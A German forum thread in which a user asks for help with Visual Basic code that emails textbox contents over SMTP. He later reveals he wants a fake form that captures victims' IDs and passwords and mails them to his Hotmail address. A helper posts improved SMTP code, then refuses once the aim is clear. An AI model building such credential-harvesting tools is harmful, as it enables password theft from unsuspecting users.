VB 2008 -> Keyloggercode-Fehler?

[Papa Kobe]

Also mein Code (wahrscheinlich fehlerhaft):

Imports System.Net.Mail
Imports System.Net
Public Class Form1

    Private Sub TextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox1.TextChanged

    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Timer1.Start()
        Dim text As String
        text = TextBox1.Text & TextBox2.Text + vbLf
        Dim myClient As New Net.Mail.SmtpClient("smtp.web.de")
        myClient.Credentials = New NetworkCredential("*****", "***")
        myClient.Send("***", "***, ***", "Betreff", text)
    End Sub

    Private Sub TextBox3_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs)

    End Sub

    Private Sub TextBox2_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox2.TextChanged

    End Sub
End Class

Besitze 2 Textboxen, 1 Timer und ein Button! Wo ist der Fehler ?



Danke schonmal im Vorraus!

LG
KS

€: Gelbmakierter Fehler: myClient.Send("***@hotmail.de", "***@hotmail.de, ****@hotmail.de", "Betreff", text)

[Diablo_]

Hi,

das kommt in die Coding Section. Einen Fehler erkenne ich da nicht, aber ich würde es anders machen:

Dim email As String
          Dim betreff As String
          Dim empfänger As String

        email = TextBox4.Text
        betreff = TextBox3.Text
        empfänger = TextBox2.Text

Dim myclient As New Net.Mail.SmtpClient("smtp.web.de")

        myclient.EnableSsl = True

        myclient.DeliveryMethod = SmtpDeliveryMethod.Network

yclient.UseDefaultCredentials = False
        myclient.Credentials = New NetworkCredential("Benutzername" , "Passwort")

myclient.Send(TextBox1.Text, TextBox2.Text, TextBox3.Text, TextBox4.Text)

Du machst also 4 Textboxen:

1. Absender (Deine Emailadresse)
2. Empfänger (Die Emailadresse des anderen)
3. Den Betreff
4. Der Text, der gesendet werden soll.

Das ganze steht natürlich unter dem Button, mit dem du das absendest. Man könnte auch noch einbauen, dass man seinen Benutzernamen und sein Passwort manuell eingeben kann, dann muss man sich nicht auf eine Emailadresse festlegen.

Grüße

[Papa Kobe]

Originally Posted by Diablo_

Hi,

das kommt in die Coding Section. Einen Fehler erkenne ich da nicht, aber ich würde es anders machen:

Dim email As String
          Dim betreff As String
          Dim empfänger As String

        email = TextBox4.Text
        betreff = TextBox3.Text
        empfänger = TextBox2.Text

Dim myclient As New Net.Mail.SmtpClient("smtp.web.de")

        myclient.EnableSsl = True

        myclient.DeliveryMethod = SmtpDeliveryMethod.Network

yclient.UseDefaultCredentials = False
        myclient.Credentials = New NetworkCredential("Benutzername" , "Passwort")

myclient.Send(TextBox1.Text, TextBox2.Text, TextBox3.Text, TextBox4.Text)

Du machst also 4 Textboxen:

1. Absender (Deine Emailadresse)
2. Empfänger (Die Emailadresse des anderen)
3. Den Betreff
4. Der Text, der gesendet werden soll.

Das ganze steht natürlich unter dem Button, mit dem du das absendest. Man könnte auch noch einbauen, dass man seinen Benutzernamen und sein Passwort manuell eingeben kann, dann muss man sich nicht auf eine Emailadresse festlegen.

Grüße

Hey,
erstmal danke und ich wollte aber einen Keylogger haben^^ d.h. der soll in eine Textbox seine ID und in die andere sein PW eingeben und vlt. noch ein 3. wo der Servername reinsoll & -> Es soll an die ****@hotmail.de gesendet werden -> mit der Aktivierung des Button1. :O

Wär es möglich, dass du es mir so umformen könntest?^^ Wäre echt lieb

LG
KS

€: Nimm in Skype an

[Diablo_]

Originally Posted by King KampfSessel

Hey,
erstmal danke und ich wollte aber einen Keylogger haben^^ d.h. der soll in eine Textbox seine ID und in die andere sein PW eingeben und vlt. noch ein 3. wo der Servername reinsoll & -> Es soll an die ****@hotmail.de gesendet werden -> mit der Aktivierung des Button1. :O

Wär es möglich, dass du es mir so umformen könntest?^^ Wäre echt lieb

LG
KS

€: Nimm in Skype an

Hi,

tut mir leid, ich hatte mich in der Überschrift verlesen. Ich dachte dir wurde ein Fehler bei VB ausgespuckt und habe das "Keylogger" übersehen.

Das was du vor hast ist aber nicht legal und das unterstützen wir hier nicht.

[Playtime™]

Originally Posted by Diablo_

Hi,

tut mir leid, ich hatte mich in der Überschrift verlesen. Ich dachte dir wurde ein Fehler bei VB ausgespuckt und habe das "Keylogger" übersehen.

Das was du vor hast ist aber nicht legal und das unterstützen wir hier nicht.

Nö es gibt im wahrsten sinne des Wortes "legale" Keyloogers.

Nämlich in der Coding-section...einfach suchen in den kleinen Realeses.

€:Was er meint is natürlich Verboten !

[Diablo_]

Originally Posted by ZØmBÌ

Nö es gibt im wahrsten sinne des Wortes "legale" Keyloogers.

Nämlich in der Coding-section...einfach suchen in den kleinen Realeses.

€:Was er meint is natürlich Verboten !

Ich habe auch nicht geschrieben, dass Keylogger illegal sind. Das was er vor hat wird illegal sein.

Wer meint, er bräuchte einen Keylogger um seine Passwörter immer parrat zu haben, der kann sich den Kram auch einfach aufschreiben.

Und wer meint, er bräuchte einen Keylogger um andere Passwörter zu besitzen, die ihm nicht gehören, gehören bestraft.